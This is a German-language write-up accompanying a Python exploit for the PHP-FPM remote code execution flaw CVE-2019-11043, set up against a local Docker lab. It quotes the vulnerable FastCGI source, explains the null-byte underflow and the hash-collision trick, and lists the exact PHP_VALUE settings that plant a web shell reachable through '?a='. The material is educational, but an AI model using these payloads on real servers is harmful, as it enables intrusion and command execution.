
PHP-FPM Remote Command Execution Exploit
PHP-FPM Remote Code Execution
Screencast: https://youtu.be/d6benC5FVZM
Dieser Zero-Day-Exploit in gängigen PHP-FPM-Konfigurationen wurde während des Realworld CTF-Wettbewerbs im Jahr 2019 entdeckt. Ein regulärer Ausdruck wird verwendet, um die angeforderte URI zu parsen, aber Zeilenumbruchzeichen %0a werden nicht erfasst. Dies löst einen Fehler in FastCGI aus, der die Länge der Abfragezeichenfolge falsch berechnet und ein Nullbyte an eine Stelle vor dem Beginn des beabsichtigten Puffers schreibt. Durch sorgfältige Auswahl der Länge der Abfragezeichenfolge kann ein Angreifer diesen Fehler nutzen, um interne PHP-Variablen auf dem Server zu überschreiben und beliebigen Shell-Code auszuführen.
Die ursprüngliche Go-Implementierung dieses Exploits finden Sie hier. Ich habe diese, einen Artikel und den ursprünglichen Fehlerbericht als Lernressourcen verwendet, um den Exploit in Python zu implementieren.
Docker unter Linux Führen Sie sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 aus, um einen Barebone-NGINX/PHP-FPM-Server mit einem leeren Skript unter /script.php zu erstellen. Das Dockerfile für dieses Image ist hier verfügbar, obwohl es nicht erforderlich ist, um den genannten Befehl auszuführen.
Docker unter Mac Führen Sie sudo docker-compuse up -d aus dem Verzeichnis /php/CVE-2019-11043 des vulhub-Repositories aus. (Compose ist in Docker für Mac enthalten.)
Führen Sie das Exploit-Skript mit dem Befehl python3 exploit.py http://localhost:8080/script.php (oder /index.php, falls die zweite Option verwendet wurde) aus. Bei erfolgreicher Ausführung ist eine Web-Shell zugänglich, indem Sie Befehle an die URL nach ?a= anhängen (z.B., http://localhost:8080/script.php?a=uname -a).
N.B. Ich habe versucht, ein Ansible-Playbook für diese Aufgabe zu erstellen, bin aber auf einen ausschlaggebenden Bug gestoßen, der hier dokumentiert ist. Es ist nicht möglich, systemd-Dienste auf aktuellen Linux-Kerneln (z.B. jeder Ubuntu LTS-Version) mit einem Ansible-Playbook zu starten.
PHP-FPM-Konfigurationsdateien enthalten eine Regel zum Abgleichen eingehender URI-Anfragen mit PHP-Skripten, die oft so aussieht:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Dies sollte jede URI im Format /script.php/pathinfo abgleichen, aber . stimmt tatsächlich nicht mit Zeilenumbruchzeichen %0a überein. Wenn die URI einen Zeilenumbruch enthält, löst dies den folgenden Bug in der PHP-Implementierung aus:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
Das Problem hierbei ist, dass slen korrekt als Länge der URI minus der Länge des Ressourcenpfads berechnet wird, aber pilen fälschlicherweise auf 0 gesetzt wird. Dadurch wird path_info in Zeile 1151 auf einen negativen Wert gesetzt, was zu einem Buffer Underflow führt. Unmittelbar nach dieser Fehlberechnung in derselben Datei haben wir:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
In Zeile 1161 wird ein Nullbyte an die aus dem vorherigen Schritt falsch berechnete Speicheradresse geschrieben. Dies kann ausgenutzt werden, um eine Schwachstelle in Zeile 1165 auszunutzen, in der FastCGI eine Umgebungsvariable schreibt. Indem man das Nullbyte in den Zeiger schreibt, der die Schreiboperation der Umgebungsvariable steuert, können wir mit unseren HTTP-Anfragen beliebige PHP-Variablen in die Umgebung einfügen.
Die Umgebungsvariablen in FastCGI werden in einer dicht gepackten Sequenz von Schlüssel-Wert-String-Paaren im Speicher gespeichert. Der Anfang und das Ende des Puffers, der diese Strings hält, wird _fcgi_data_seg genannt. Das pos-Mitglied zeigt auf die nächste verfügbare Schreibposition. Wenn der Puffer voll ist (pos > end), wird ein neuer alloziert und das next-Mitglied zeigt auf den alten.
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI greift auf einzelne Umgebungsvariablen mit einer Hash-Tabelle namens _fcgi_hash zu.
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
Die Idee hierbei ist, das niederwertigste Byte von pos zu überschreiben, um FastCGI dazu zu bringen, eine vorhandene Variable zu überschreiben. Der Code soll den an unseren URI-Pfad angehängten String nehmen und ihn an der Stelle für PATH_INFO platzieren. Wir möchten jedoch PHP_VALUE überschreiben, da dieser Wert unmittelbar nach dem anfälligen Codeabschnitt abgerufen und in die PHP-Einstellungen geladen wird.
Wie in exploit.py zu sehen, besteht die grundlegende Prämisse dieses Exploits darin, eine sehr lange URI-Abfrage zu finden, die FastCGIs internen Speicherpuffer so ausrichtet, dass wir ihn missbrauchen können. Die Idee ist, die genaue Anzahl von Zeichen zu finden, die erforderlich ist, damit FastCGI einen neuen _fcgi_data_seg-Puffer alloziert. Wenn dies geschieht, schreibt FastCGI erwartungsgemäß unser PATH_INFO in den neuen Puffer, gefolgt sofort von jedem unserer HTTP-Header als neue Umgebungswerte. Der nächste Schritt besteht also darin, herauszufinden, wie viele Zeichen wir benötigen, um einen beliebigen HTTP-Header aufzufüllen, um den Speicher für unsere Zwecke auszurichten. Da wir darauf beschränkt sind, ein Nullbyte an eine beliebige Stelle zu schreiben, müssen wir pos auf einen vorhersagbaren Offset zu PHP_VALUE zeigen lassen, sodass das Bearbeiten des niederwertigsten Bytes es dorthin verschiebt.
Die Herausforderung besteht darin, dass wir PHP_VALUE überschreiben wollen, aber nicht wissen, wo es im Speicher liegt. Wenn FastCGI diese Variable lädt, hasht es den String PHP_VALUE, um die tatsächliche Speicheradresse gemäß einem einfachen Algorithmus zu erhalten:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
Anstatt die Hash-Tabelle tatsächlich zu modifizieren, müssen wir lediglich eine andere Umgebungsvariable mit derselben Stringlänge und demselben Hash wie PHP_VALUE gemäß dieser Funktion erstellen. Dies täuscht die Hash-Suche dazu, unseren HTTP-Header anstelle der beabsichtigten Variable zu lesen. Der Autor dieses Exploits hat klugerweise festgestellt, dass ein Header namens EBUT als HTTP_EBUT in der FastCGI-Umgebung gespeichert wird, was diese Anforderung erfüllt.
Für den Angriff selbst senden wir GET-Anfragen mit unserem EBUT-Header und verwenden den Nullbyte-Überschreibfehler, um dessen Wert zu überschreiben. Wir versuchen, PHP-Umgebungsvariablen nacheinander mit wiederholten Anfragen zu setzen:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
Die erfolgreiche Änderung all dieser Variablen ermöglicht eine neue Abfrage ?a= auf dem Server zur Ausführung beliebigen Shell-Codes. Die Angriffsschleife prüft bei jeder Iteration den Erfolg, indem sie versucht, which which auszuführen. Der Angreifer kann leicht erkennen, ob dies erfolgreich war, indem er das Ergebnis aus der HTTP-Antwort liest (z.B., /bin/which).